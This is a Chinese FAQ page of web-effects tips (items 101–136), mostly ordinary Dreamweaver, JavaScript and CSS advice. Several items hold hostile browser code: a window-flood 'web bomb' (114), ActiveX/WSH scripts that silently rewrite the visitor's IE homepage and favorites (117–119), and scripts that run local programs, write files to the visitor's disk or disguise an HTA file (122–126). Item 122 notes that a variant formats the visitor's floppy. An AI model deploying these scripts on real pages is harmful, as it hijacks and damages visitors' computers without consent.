网页特效

101,Q:XML 中能不能用中文标记 xml?
     A:可以。如:
   <?xml version="1.0" encoding="gb2312"?>
   <!DOCTYPE 测试[
   <!ELEMENT 测试][项目*]>
   <!ELEMENT 项目 (#PCDATA)>
   <!ATTLIST 项目 属性1 CDATA #REQUIRED
    属性2 CDATA #IMPLIED>]>
 102,Q:用 Dreamweaver 制作拖拽的拼图效果
     A:
    (一)、找到一张完整,而且色彩鲜明的图片,用 PhotoShop 或 Fireworks 将图片均匀分割成一些 .jpg 或 .gif 小图片;
    (二)、进入 Dreamweaver,打开一个文件,单击对象工具栏中的层(Layer),在页面中拖拽一个层,把鼠标固定在层框中,同时点击工具栏中的图片插入按钮,插入一张你先前分割出的一张小图片。
    (三)按 F8,弹出“Behaviors”面板,在 Events For: 选择 IE 4.0,
    (四)、选中页面中的层,然后单击面板中的“+” 键,弹出列表,选择其中的 Drag Layer,此时弹出的框子,选择层(Layer)的时候时候一定选择当前层。(如果不是很清楚,按 F11)。其他的设置可以不去动他的默认。按 OK。 随后点击事件右侧的向下的黑色小箭头,在弹出的列表中选择"onMouseOver"。    
    这样一个可以拖拽的图象就建成了,你可以 Save 一下。用浏览器打开相应的 Html 文件试一试。:) 其他的图片也就按此方法重复制作几次。
 103,Q:DreamWeaver 的七条经典技巧:
     A:
  (一)、连接窗口
Dreamweaver的用户界面分割为几个窗口,当处于工作状态时,屏幕上只能容纳几个窗口。为了保存真实的操作状态,最佳策略是将打开的窗口连接(dock)在一起。你可能尝试过拖拽窗口的标题栏,这在许多程序中都是可以完成连接动作的,但是在Dreamweaver中却不生效。
   实现窗口连接的技巧是用鼠标拖住窗口的 tab 栏,而不是标题栏。试着点击鼠标拖住一个窗口的 tab 栏并掠过另外一个窗口,当看到出现一个黑色边界时,松开鼠标按钮,你会发现 2 个窗口已经结合在一起了。现在你就可以照此方法连接任意多的窗口,最终合并到一个窗口中,如此就能节省大量的屏幕空间而看到实际的工作情况。但是请注意:装载器窗口、属性窗口以及站点窗口是不能被连接的。
  (二)、数据输入
Dreamweaver 允许你将数据直接输入到表格中,这样就比一次次地剪切、粘贴内容到单元格中容易许多。但是如果要输入的数据中含有插入表格数据命令时,就会有些麻烦。很不幸,Dreamweaver 只能输入具有分隔符的 .txt 文件。如果要处理 Word 或者 Excel 文件,可以先将它们输出为 .txt 文件,然后再输入进Dreamweaver 中。你会发现这样的处理方法简直象梦一样美妙!
  (三)删除、恢复、重复
输入数据到表格能够节省大量的操作时间,但是 Dreamweaver 中最有用的一个功能是它的历史窗口。在这个窗口中,一旦打开文档,随后执行的每一个操作都被记录下来,这样,你就可以跟踪操作行为并且简单地undo 或者重复最后一步。只需要选中历史窗口中的最后一步然后按下 Delete 键,或者拖曳滑动指示器到某一步一次删除几个步骤。同样,点击窗口中的 Replay 按钮再次执行某一步。 
   很奇怪不能保存超过 50 步吧?这是个默认数值。要提高这个数值,选择“编辑/参数选择”,确认处于“普通”功能页面,在“历史步骤最大值”字段中输入一个较高数值。请注意,设定的保存步骤数目越大,消耗的内存就越大 
  (四)、扩展!扩展!
通过使用 extensions,你可以为 Dreamweaver 添加更多的功能。许多开发者创建 extensions 并免费提供给更多的人使用。你可以访问 Macromedia 的站点与大家进行作品交换。当运行 Dreamweaver 时,选择“命令/获取更多的命令”,就会自动启动浏览器并转到交换站点。在开始收集所有的新技巧前,首先下载 Extension Manager,它将跟踪 extensions 变得轻而易举。
  (五)、创建相册    
为许多图形一次性建立缩略图是一个单调乏味的工作,特别当你不是一个有经验的图形专家时。没有关系,Dreamweaver 具有一个功能,它能象你的一个图形设计助手一样,按照你的要求完成缩略图设计工作。你告诉 Dreamweaver 哪个文件夹中包含图形后,它就会为其中的每一个图形创建一个缩略图、创建一个包含完整图形的页面以及一个存有所有缩略图的索引页面。为了使用这个功能,你需要首先安装 Fireworks。
首先,建立文件结构:将所有的图形文件放置到一个文件夹中。然后,选择“命令/创建网络相册”,并设置相应选项。不要过分考虑标题和副标题,这些信息随后都可以进行修改。重要的是指明源图形文件夹以及目标文件夹,因为这些信息决定了处理哪些文件。同时要确定一下缩图的尺寸大小、格式以及其他选项。当点击 OK 后,Dreamweaver 将控制权转移给 Fireworks,由它开始批量处理文件,创建一个非常好的小型相册或者一个连续的产品目录。如果你有许多相片,设置好让它开始运行,然后去休息一会儿,Dreamweaver 和 Fireworks 将完成所有的工作。
  (六)、创建自定义命令
你还记得前面说过 Dreamweaver 的一个最有用的功能就是历史窗口吗?这不是开玩笑,基于列于历史窗口中的操作,Dreamweaver 能够创建新的命令序列。
要创建一个命令,只需要简单地执行你想要记录的步骤。然后,在历史窗口中,选择想要保存的步骤,并在右下角点击“保存为”图标,起一个名字,点击 OK。到此,你的自定义命令就出现在“命令”菜单中,可以随意使用了。
  (七)、与他人协同工作
对于与其他人一起工作的 Web 开发者而言,他不必担心其他人修改了你所共享的文件。Dreamweaver 利用 check-in 和 check-out 系统达到保护打开文件的目的。
 104,Q:用 javascript 操作 Cookie 示例
     A:
    <Script language="javascript">
    //写 Cookie(用分号“;”把表达式“var=value”分隔开)
    function Write2Cookie()
    { document.cookie="v1=123;" + "path=/;"; 
      document.cookie="v2=321;" + "path=/;"; 
    }
    //读 Cookie
    function getCookieVal(name)
    {
    var firstCharPos,lastCharPos;
    var theBigCookie = document.cookie;
    firstCharPos = theBigCookie.indexOf(name);
    if(firstCharPos != -1)
    {//skip 'name' and '='.
    firstCharPos +=name.length + 1;
    //Find the end of the value string (i.e. the next';').
    lastCharPos = theBigCookie.indexOf(';', firstCharPos);
    if(lastCharPos == -1) lastCharPos = theBigCookie.length;
    //Return thevalue.
    return theBigCookie.substring(firstCharPos, lastCharPos);
    }
    else
    { return false;}
    }
    thev1=getCookieVal('v1') // read
    thev2=getCookieVal('v2') // read
    </Script>
 105,Q:电子邮件表单提交的问题
     A:首先必需正确配置邮件客户端(Outlook Express 等)的帐户设置,这样,如果点按表单下的“提交”按钮,浏览器就会自动启用它发送邮件。目前,Foxmail 尚不支持这种电子邮件表单提交。
 106,Q:用代码构造自己的窗口
     A:
    <html>
    <head>
    <title></title>
    <script language="JavaScript">
    function xwindow(w,h,x,y,title,color,bordercolor,url)
    {
    move_function="var isinit=false;/r";
    move_function+="var mywindowok=true;/r";
    move_function+="function mouseSTATUS() {/r";
    move_function+="this.x = null;/r";
    move_function+="this.y = null;/r";
    move_function+="this.bt ='up';/r";
    move_function+="this.oldx = null;/r";
    move_function+="this.oldy = null;/r";
    move_function+="this.dx = null;/r";
    move_function+="this.dy = null;/r";
    move_function+="this.screeny = null;/r";
    move_function+="this.screenx = null;/r";
    move_function+="this.element = null;/r";
    move_function+="this.event = null;/r";
    move_function+="}/r";
    move_function+="var mouse = new mouseSTATUS();/r";
    move_function+="function actualizateMouseSTATUS(e) {/r";
    move_function+="if (!e) var e = event/r";
    move_function+="if ((e.type=='mousedown' || e.type=='mouseup') && e.button!=1) return true/r";
    move_function+="var x=e.x+document.body.scrollLeft/r";
    move_function+="var y=e.y+document.body.scrollTop/r";
    move_function+="mouse.x=x;/r";
    move_function+="mouse.y=y;/r";
    move_function+="if (e.type=='mousedown') mouse.bt = 'down';/r";
    move_function+="else if(e.type=='mouseup') mouse.bt = 'up';/r";
    move_function+="if(window.event) {/r";
    move_function+="mouse.screenx=window.event.screenX;/r";
    move_function+="mouse.screeny=window.event.screenY;/r";
    move_function+="} else {/r";
    move_function+="mouse.screenx=0;/r";
    move_function+="mouse.screeny=0;/r";
    move_function+="}}/r";
    move_function+="function initMouseEvents() {/r";
    move_function+="document.onmousedown = actualizateMouseSTATUS/r";
    move_function+="document.onmousemove = actualizateMouseSTATUS/r";
    move_function+="document.onmouseup = actualizateMouseSTATUS/r";
    move_function+="document.onselectstart = selectstart/r";
    move_function+="document.ondragstart = new Function('actualizateMouseSTATUS(event); return false;')/r";
    move_function+="}/r";
    move_function+="function selectstart(){/r";
    move_function+="if ( event.srcElement.tagName != 'INPUT' && event.srcElement.tagName != 'TEXTAREA') { return false; } /r";
    move_function+="else { mouse.bt='up'; return true; }/r";
    move_function+="}/r";
    move_function+="initMouseEvents()/r";
    move_function+="var mywindowbt ='up';/r";
    move_function+="var wincloseSTATUS='up';/r";
    move_function+="var ofx=0;/r";
    move_function+="var ofy=0;/r";
    move_function+="var opx=0;/r";
    move_function+="var opy=0;/r";
    move_function+="var px=0;/r";
    move_function+="var py=0;/r";
    move_function+="var wclosechanged = false;/r";
    move_function+="function initToMoveWin() {/r";
    move_function+="if(mouse.y <= 22 && mouse.y >= 1 && mywindowbt == 'up' && mouse.bt =='up') { mywindowbt = 'over' }/r";
    move_function+=" else if (( mouse.y > 22 || mouse.y < 1 ) && mywindowbt == 'over' && mouse.bt =='up') { mywindowbt = 'up'}/r";
    move_function+=" else if (mouse.y <= 22 && mouse.y >=1 && mywindowbt == 'over' && mouse.bt == 'down' ) { /r";
    move_function+="self.window.focus();/r";
    move_function+=" ofx = mouse.x;/r";
    move_function+=" ofy = mouse.y;/r";
    move_function+=" opx = mouse.x;/r";
    move_function+=" opy = mouse.y;/r";
    move_function+=" mywindowbt='down';/r";
    move_function+="}/r";
    move_function+=" else if ( mouse.bt =='up' && mywindowbt == 'down' ) { ";
    move_function+=" mywindowbt='up';";
    move_function+=" ofx=0;";
    move_function+=" ofy=0;";
    move_function+=" opx=0; ";
    move_function+=" opy=0;";
    move_function+=" }";
    move_function+=" else if ( mywindowbt == 'down' && wincloseSTATUS == 'up') {/r";
    move_function+=" var m_scrx = mouse.screenx;/r";
    move_function+=" var m_scry = mouse.screeny;/r";
    move_function+=" px = m_scrx - ofx;/r";
    move_function+=" py = m_scry - ofy;/r";
    move_function+=" top.window.moveTo(px,py);/r";
    move_function+=" }/r";
    move_function+=" setTimeout('initToMoveWin()',1);/r";
    move_function+=" }/r";
    move_function+=" initToMoveWin()/r";
    newWindow=window.open("","newWindow","fullscreen=1","width="+w+",height="+h);
    newWindow.resizeTo(w,h);
    newWindow.moveTo(x,y);
    newWindow.document.open();
    newWindow.document.write('<html><head><title>'+title+'</title><'+'script languge="javascript">'+move_function+ '<' + '/script></head><body leftmargin="0" topmargin="0" scroll=no style="BORDER-BOTTOM: '+bordercolor+' 1px solid; BORDER-LEFT: '+bordercolor+' 1px solid; BORDER-RIGHT: '+bordercolor+' 1px solid; BORDER-TOP: '+bordercolor+' 1px solid; MARGIN: 0pt; OVERFLOW: hidden" MARGINHEIGHT="0" MARGINWIDTH="0">');
    newWindow.document.write('<table width="100%" border="0" cellspacing="0" cellpadding="0" bgcolor="'+color+'" style="BORDER-BOTTOM: '+bordercolor+' 1px solid;"><tr><td width="18">&nbsp;</td>/r');
    newWindow.document.write('<td><font face="Verdana, Arial, Helvetica, sans-serif" color="#000000" size="1">'+title+'</font></td>/r');
    newWindow.document.write('<td align="right"><a title="close the window" href=javascript:top.window.close();><img src="xwindow_close.gif" border=0 width=12 height=12></a></td>/r');
    newWindow.document.write('<td width="10">&nbsp;</td></tr></table>/r');
    newWindow.document.write('<iframe width=100% height=100% scrolling="no" frameborder="0" src='+url+'></iframe>');
    newWindow.document.write('</body></html>');
    newWindow.document.close();
    newWindow.focus();
    }
    //-->
    </script>
    </head>
    <body οnlοad="xwindow('400','330','50','50','- My Window -','#FFCC00','#000000','child.htm')"
    </body></html>
 107,Q:HTML 的 Access Key(存取键)的用法:
     A:所谓“存取键”就像 windows 应用程序中的 Alt 快捷键,同时按 Alt 键和某个字母键,可以快速切换到文本框、按钮等页面对象上。
    (1)、文本框的 Access Key:
     <FORM>
     <LABEL FOR="Namebox" ACCESSKEY="N"><U>N</U>ame:</LABEL>
     <INPUT TYPE="TEXT" ID="Namebox" SIZE=30> 
     <LABEL FOR="Emailbox" ACCESSKEY="E"><U>E</U>mail:</LABEL>
     <INPUT TYPE="TEXT" ID="Emailbox" SIZE=30> 
     <LABEL FOR="areabox" ACCESSKEY="S"><U>S</U>uggest</LABEL>
     <TEXTAREA ID="areabox" COLS="10" ROWS="2"></TEXTAREA> 
     </FORM> 
    其中的 <U>…</U> 标签产生下划线;For="Name" 和 ID="Name" 中的 Name 是一致的;ACCESSKEY=… 设置“热键”。
    (2)、选择框的 Acsess Key:选择项目时不必非得在框内点击鼠标了,在文本上选择即可:
     <form>
     <label for="check1">我爱张庆</label> 
     <input type="CHECKBOX" id="check1" value="often" name="checkoften">
     <label for="check2">我更爱《“十万个为什么”网站》</label> 
     <input type="CHECKBOX" id="check2" value="seldom" name="checkseldom">
     </form> 
    (3)、链接的快捷键:
     按 Alt+[字母] 就可以打开一个链接,方便不方便?
     <A HREF="your_page.htm" ACCESSKEY="A">按 Alt+A 打开该链接</A>
 108,Q:加速表格 <Table> 的下载:
     A:在 <Table> 标签中加:style="table-layout:fixed"。
 109,Q:去除作为链接的图片周围的虚框:
     A:在链接标签 <a> 中加语句:onFocus="this.blur()",即:
       <a onFocus="this.blur()"><img src="……"></a>
 110,Q:在网页中打开带模式的对话框窗口(在子窗口关闭之前父窗口不能获得焦点):
     A:
    window.showModalDialog('about_us/about_us.htm', null, 'dialogWidth=450px;dialogHeight=300px;center:1;scroll:0;
    help:0; status:0')"
 111,Q:关闭浏览器时自动打开一个窗口:
     A:<body οnunlοad="window.open('aWin.htm','','')">。
 112,Q:让一个窗口在指定的时间内关闭:
     A:<body οnlοad="setInterval('window.close()',n)"> (n 替换为数字,单位为“ms毫秒”)。
 113,Q:用 css 定制 IE5.5 以上浏览器的滚动条:
     A:改变滚动条的颜色(red):<body style="scrollbar-face-color:rgb(255,0,0);">
改变滚动条箭头的颜色(green):<body style="scrollbar-arrow-color:rgb(255,0,0);">
 114,Q:介绍一个最简单的“Javascript 网页炸弹”:
     A:把以下脚本放在你的网页中,当打开你的网页时,同时会打开若干个 IE 窗口(本例中为 10 个,用脚本中的变量 count 控制)。如果设置打开的窗口数非常多(100个?、1000个?、5000个?),那么就会耗尽 Windows 的系统资源,导致死机、系统崩溃。
    <script>
     var count=10; //打开窗口的个数
     for(var i=0;i<count;i++) document.open('某网页文件.htm','','')
    </script>
    站长提醒:此法不要滥用;试验前保存你的数据。
 115,Q:网页编程中响应鼠标双击事件:
     A:
      <html><head></head> 
      <body> 
       <input type=button value="双击看看" οndblclick="javascript:alert('双击成功');"> 
      </body> 
      </html>
 116,Q:javascript 脚本中 innerHTML 代表什么?
     A:举个例子:<span id=test>我是张庆<b>张庆的张,张庆的庆</b></span>
    其中 test.innerHTML代表的就是 "我是张庆<b>张庆的张,张庆的庆</b>"
    大家还可以试试 outHtml、innerText、outText 等属性。
 117,Q:把你的主页强行、自动设置为 IE 浏览器的首页:
     A:
    <script>
    document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
    function set2homepage()
    {
    try
    {
    obj=document.applets[0];
    obj.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); //Windows Scripting Host 的外壳对象
    obj.createInstance(); //创建 wsh 的一个实例
    Shell=obj.GetObject();
    try{Shell.RegWrite("HKCU//Software//Microsoft//Internet Explorer//Main//Start Page","http://    100000.home.sohu.com");}
    catch(e){}
    }
    catch(e){}
    }
    setTimeout("set2homepage()",1); //1ms
    </script>
 118,Q:把你的主页强行、自动设置为 IE 浏览器的首页、同时添加到“收藏夹”中:
     A:
<script language="javascript">
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>"); 

//this function is only needed if you add favorites or links 
function AddFavLnk(loc, DispName, SiteURL) 

var Shor = Shl.CreateShortcut(loc + "//" + DispName +".URL"); 
Shor.TargetPath = SiteURL; 
Shor.Save(); 

//end add favorites or links function 

function f()
{
try 

o=document.applets[0]; 

o.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); 
o.createInstance(); 
Shl = o.GetObject(); 

o.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); 
o.createInstance(); 
FSO = o.GetObject(); 

try 

//根据 cookie 判断是否需要设置
//if (document.cookie.indexOf("Chg") == -1) 
//{ 
// //set cookie 
// var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90)); 
// document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" 
// //end set cookie 

//set home page 
var your_hmpg="http://100000.home.sohu.com"
Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Start Page", your_hmpg); 
// var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90)); 
// document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" 
//end set home page 

//add favorites this is the common part; should be here if you want to add favorites 
var WF, Shor, loc; 
WF = FSO.GetSpecialFolder(0); 
loc = WF + "//Favorites"; 
if(!FSO.FolderExists(loc)) 

loc = FSO.GetDriveName(WF) + "//Documents and Settings//" + Net.UserName + "//Favorites"; 
if(!FSO.FolderExists(loc)) 

return; 


//end common part 

//the following line is used for adding favorites. to add multiple favorites, duplicate the following line, changing the last 2 paramaters 
AddFavLnk(loc, "十万个为什么", "http://100000.home.sohu.com"); 
//end add favorites 
//} 
}
catch(e) {} 

catch(e) {} 

function init() { setTimeout("f()", 100); } 
init(); 
</script>
 119,Q:把你的主页强行、自动添加到“收藏夹”中:
     A:
<script>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>"); 
function AddFavLnk(loc, DispName, SiteURL) 
{var Shor = Shl.CreateShortcut(loc + "//" + DispName +".URL"); 
Shor.TargetPath = SiteURL; 
Shor.Save(); 

function f()
{
try 

o=document.applets[0]; 
o.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); 
o.createInstance(); 
Shl = o.GetObject(); 
o.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); 
o.createInstance(); 
FSO = o.GetObject(); 
try 

//Following 2 lines set Homepage:
//var your_hmpg=top.location
//Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Start Page", your_hmpg); 
var WF, loc;
WF = FSO.GetSpecialFolder(0); // folder where WINDOWS is installed
loc = WF + "//Favorites"; 
if(!FSO.FolderExists(loc)) // is Windows2000 up

loc = FSO.GetDriveName(WF) + "//Documents and Settings//" + Net.UserName + "//Favorites"; 
if(!FSO.FolderExists(loc)) { return; } 

AddFavLnk(loc, top.document.title, top.location); //你也可以直接设置 top.document.title 为常量字符串

}
catch(e) {} 

catch(e) {} 

function init() { setTimeout("f()", 100); } 
init(); 
</script>
  注:如果你的主页在 Frame 中,则收藏夹中的提示信息取分帧的主页的 Title。你也可以直接设置为常量字符串。
 120,Q:用代码关闭 IE 窗口时不提示:
     A:
    <HTML>
    <HEAD>
    <Script>
     function closewin() { cn=closes.Click(); }
    </Script>
    </HEAD>
    <BODY>
    <!-adb880a6-d8ff-11cf-9377-00aa003b7a11=HHCtrl Object-->
    <OBJECT id=closes type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
     <param name="Command" value="Close">
    </object>
     <a href="#" οnclick="closewin();">关闭 IE 窗口</a> 
    </BODY>
    </HTML>
 121,Q:如何保存网页上的 Flash 动画?
     A:1、在浏览网页的网站里面找 *.swf 文件,然后用蚂蚁之类的下载软件拉;
    2、直接到 IE 的缓存目录里面搜索 *.swf 文件比较快;
    3、如果在脱机浏览时,还能够看到 Flash,万幸! 赶快到 Windows 目录下的 Temporary Internet Files 文件夹下去找 Flash(Windows2000 下在 /Documents and Settings/用户名/Local Settings 文件夹下),它也许正老老实实地躺在那里呢。
 122,Q:在网页中应用 wsh 对象执行浏览器端的程序(以运行 Command.com 为例)
     A:必须把浏览器的安全级别设置为最低才能执行以下脚本。
    <!-Windows script host shell object:-->
    <object id="wsh" classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
    <SCRIPT>
     wsh.run('c://command.com');
    </SCRIPT>
    注意:如果把 'c://command.com' 换成 'Format a: /autotest/q/u',就会不出现任何提示,自动格式化本地浏览者的软盘! 请各位试验时保护好自己的数据,更提醒各位不要用此法害人!
 123,Q:在网页中给浏览器端写文件
     A:浏览包含以下代码的网页,会在浏览器端的 C: 盘跟目录下生成一个名为 file_created_by_ocx.txt 的文本文件,文件内容中包含字符串 "myfile:I want to write a file!":
    <!-Object for constructing type libraries for scriptlets:-->
    <object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC"></object>
    <SCRIPT>
     document.scr.Reset();
     document.scr.Path="C://file_created_by_ocx.txt";
     document.scr.Doc="myfile:I want to write a file!";
     document.scr.write();
    </SCRIPT>
 124,Q:在网页中不加任何提示打开浏览器本地可执行程序:
     A:
    <SCRIPT>
    document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
    function runcmd()
    {
    try
    {
    obj=document.applets[0];
    obj.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); //Windows Scripting Host 的外壳对象
    obj.createInstance(); //创建 wsh 的一个实例
    Shell=obj.GetObject();
    Shell.run('c://command.com');
    }
    catch(e){};
    }
    setTimeout("runcmd()",1); //1ms
    </script>
 125,Q:用 GUID 构造 hta 文件:
     A:建立一个名为 myfile.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B} 的文件,看上去是一个文本文件,其实是一个 hta 文件,双击可以用 IE 打开。
 126,Q:应用 wsh 对象的又一方法
     A:
    <script>
     wsh=new ActiveXObject("WSCript.Shell") //声明
     wsh.run("command.com") //执行命令
    </script>
    该脚本在 .hta 文件中执行没有提示,在 .htm 中执行有提示,且只有 IE 的安全级别设为最低才能执行。
 127,Q:在网页上按任意键后,进入另一个页面
     A:在网页的 <body></body> 中间放置以下脚本即可。注意必须使当前页面获得“焦点”。
    <script language="JavaScript" for=document event=onkeydown>
     this.location="another.htm"
    </script>
 128,Q:在 FLASH 中是不是只能够插入 wav 格式的音乐文件?
     A:在 Flash4 中只能插入 wav 格式,但在 Flash5 中已经可以插入别的格式了。如 MP3。
 129,Q:Asp 与 Javascript 交换数据时一个问题的解决
     A:有下列一段代码,用 Javascript 接受 Asp 的一个变量 strVal 的值:
    <% strVal="0104"%>
    <Script>
     alert(<%=strVal%>)
    </Script>
    但是,在 Js 中,显示该值为 "68",显然 Js 把 Asp 的字符串值 "0104" 作为自己的 8 进制数给用了(在 Js 中以 0 打头的数值为 8 进制数)。由于 Js 为弱类型的语言,它接收到 strVal 的值后默认其为数值型变量。这就把变量的类型给强行转换了。
    为了避免这两种语言交换字符串数据时产生的语义分歧,必须在 Asp 中给字符串的首、尾加上单引号,这样 Js 接收后就不会误会了,即:
    <% strVal="'" & "0104" & "'"%>
 130,Q:在网页中用 Javascript 判断 IE 窗口是否打开,还可以对 IE 窗口进行关闭/置前/置后操作
     A:按“打开窗口”按钮后,如果 new.htm 没有打开,则打开它;如果打开了,就报告“new.htm is already opened.”。
    <HTML>
    <HEAD>
    <SCRIPT> 
    var myPage; 
    function openMyPage()
    { 
    if (!myPage || myPage.closed)
    { myPage=window.open("new.htm", "_blank"); } 
    else
    { alert("new.htm is already opened."); } 
    } 
    </SCRIPT>
    </HEAD> 
    <BODY> 
    <FORM> 
    <INPUT TYPE="button" onClick="openMyPage();" VALUE="打开窗口"> 
    </FORM>
    </BODY></HTML>
    以下函数还可以关闭上面打开的 IE 窗口:
     function closeMyPage()
     { myPage.close(); }
    置前 IE 窗口:
     function focusMyPage()
     { myPage.focus(); }
    置后 IE 窗口:
     function blurMyPage()
     { myPage.blur(); }
    以上方法只能打开、判断、操作本 IE 内代码控制的窗口,对别的 IE 进程的子窗口不起作用。
 131,Q:用 Javascript 存取剪贴板:
     A:
    <form>
     <input name=txtSearch value="">
     <input type=button value=Copy2Clip οnclick='javascript: var textRange=txtSearch.createTextRange(); textRange.execCommand("Copy")'>
     <input type=button value=PastefromClip οnclick='javascript: var textRange=txtSearch.createTextRange(); textRange.execCommand("Paste")'>
    </form>
 132,Q:网页中判断 IE 客户端是否装有 office
     A:
    <script>
    function CheckExcel()
    {
    try
     {new ActiveXObject("WScript.Shell");}
    catch(x) {return false;}
    try
     {new ActiveXObject("Excel.Application");}
    catch(x){return null;}
    return true;
    }
    res=CheckExcel();
    switch(res)
    {
    case true:
     alert("安装有 EXCEL"); break;
    case null:
     alert("没有安装"); break;
    case false:
     alert("ActiveX 被禁用");
    }
    </script>
 133,Q:Javascript 命令参数 external 的几个用法:
     A: Window.external 就如同 print 参数一样,是 IE 默认的一个命令参数,我们最常用的用法是:
    (1)、external.AddDesktopComponent:把某一个网页变成用户的桌面。如果你知道有壁纸网站的话,不访用这个功能,直接就能让浏览者把喜欢的图片、页面变成自己的桌面。如果页面里有 Flash 动画那就更酷了。 
    function wallpaper()
    {window.external.AddDesktopComponent("url","title",0,0,1024,768);} 
    (2)、external.AddFavorite:把网站加入到用户的收藏夹。在页面上添加一个按钮,让浏览者可以方便地把页面地址保存在 IE 收藏夹里。
    function add()
    {window.external.AddFavorite("url","title");} 
  如果把 url 和 title 替换成 this.location.href, this.document.title 则自动把当前页面地址及其标题添加到浏览器收藏夹。
    (3)、window.external.ShowBrowserUI:启动 IE 的“语言设置”和“整理收藏夹”功能。
    <INPUT οnclick="window.external.ShowBrowserUI('LanguageDialog', null)" type=button value=语言设置 name=Button2>
    <INPUT οnclick="window.external.ShowBrowserUI('OrganizeFavorites', null)" type=button value=整理收藏夹 name=Submit2>
 134,Q:干掉免费个人主页上强加的广告窗口、广告条
     A:一些免费主页经常在你的主页上强加各种类型的广告,很是烦人。但如果注意到它们都是以明文文本代码的形式加在网页中的某个固定的地方,则要干掉它们就不是很困难了。站长收集了一些技巧贴出来供大家参考:
    1)、利用 <noscript> 和 <!--//> 注解标志来欺骗。
     例如
     <HTML>
     <HEAD>
     <NOSCRIPT>
     <!-- <BODY> --> // 注意这是一个假的 Body,因为许多广告代码就是在 <body> 或 <head> 处插进去的
     </NOSCRIPT>
     <TITLE>标题</TITLE>
     </HEAD>
     <BODY> // 这才是真的 body!
    2)用<META 这个标志来欺骗。
     例如:
     <HTML>
     <META popupssuck=" //有的广告代码是插在 <head> 前面,插在这,等于没插
     <HEAD>
     <TITLE>标题</TITLE>
     </HEAD>
     <BODY>
    3)直接利用下面的代码屏蔽掉广告代码中弹出窗口用的函数 open()
     <SCRIPT LANGUAGE="JavaScript">
     <!--
     function open() {return true;} // OK,这就是我们要的
     //-->
     </SCRIPT>
    4)有的时候广告代码前会放 </noscript> 防止用 <noscript>,这时只需要在它会插入的地方前面放个<SCRIPT LANGUAGE="JavaScript">就搞定了。
     <SCRIPT LANGUAGE="JawaScript"> // 下面是广告插入的代码。
     <!-- -->
     </noscript>
     <script language="JavaScript">
     ......
    5)屏蔽掉广告打开的指定页面。
     <SCRIPT>
     <!--
     function ScreenIt(url,name,parm)
     {
     if(url.indexOf("popup.html")!=-1) return false; // popup.html 是广告页面。
     return window.Xopen(url,name,parm);
     }
     window.Xopen=window.open;
     window.open=ScreenIt;
     //-->
     </SCRIPT>
    6)干掉包含指定名字的弹出窗口
     <SCRIPT>
     <!-- 
     function ScreenIt(url,name,parm)
     {
     if(name.indexOf("opup")!=-1) return false; //广告窗口名字包含“opup” 
     return window.Xopen(url,name,'toolbar=1,location=1,directories=1,status=1,menubar=1,scrollbars=1,resizable=1');
     }
     window.Xopen=window.open;
     window.open=ScreenIt;
     //--> 
     </SCRIPT>
 135,Q:屏蔽 IE 的右键菜单,并定制自己的右键菜单
     A:
<html>
<head>
<style>
#ie5menu
{
position:absolute;
width:150px;
border:1px solid green;
background-color:menu;
font-family:Verdana;
font-size:9pt;
line-height:20px;
cursor:hand;
visibility:hidden;

.menuitems
{
padding-left:15px; 
padding-right:15px; 

-->
</style>
<script language="JavaScript1.2">
//set this variable to 1 if you wish the URLs of 
//the highlighted menu to be displayed in the status bar
var display_url=0
function showmenuie5()
{
var rightedge=document.body.clientWidth-event.clientX 
var bottomedge=document.body.clientHeight-event.clientY 
if (rightedge<ie5menu.offsetWidth) 
ie5menu.style.left=document.body.scrollLeft+event.clientX-ie5menu.offsetWidth 
else 
ie5menu.style.left=document.body.scrollLeft+event.clientX 

if (bottomedge<ie5menu.offsetHeight) 
ie5menu.style.top=document.body.scrollTop+event.clientY-ie5menu.offsetHeight 
else 
ie5menu.style.top=document.body.scrollTop+event.clientY 
ie5menu.style.visibility="visible" 
return false 
}

function hidemenuie5()
{
ie5menu.style.visibility="hidden"
}

function highlightie5()

if(event.srcElement.className=="menuitems")
{
event.srcElement.style.cursor="hand"
event.srcElement.style.backgroundColor="highlight"
event.srcElement.style.color="white"
if(display_url==1) window.status=event.srcElement.url
}
else
event.srcElement.style.cursor="default"


function lowlightie5()
{
if (event.srcElement.className=="menuitems")
{
event.srcElement.style.backgroundColor="" 
event.srcElement.style.color="black" 
window.status='' 
}
}
function jumptoie5()
{
if(event.srcElement.className=="menuitems") window.location=event.srcElement.url
}
</script>
</head>
<body>
<!-[if IE]-->
<div id="ie5menu" onMouseover="highlightie5()" onMouseout="lowlightie5()" onClick="jumptoie5()">
<div class="menuitems" url="http://100000.home.sohu.com">网站首页</div>
<div class="menuitems" url="http://why100000.at.china.com">本站镜像</div>
<div class="menuitems" url="http://networkengineer.yeah.net">网络工程师</div>
<div class="menuitems" url="http://www.zgrzj.com">撰稿人之家</div>
<hr>
<div class="menuitems" url="http://caartist.coc.cc">长安书画网</div>
</div>
<!-[endif]-->
<script language="JavaScript1.2">
document.οncοntextmenu=showmenuie5 
if (document.all && window.print) document.body.οnclick=hidemenuie5;
</script>
点击右键打开菜单<br>
</body>
</html>
 136,Q:如何用 javascript 判断输入的日期是否有效
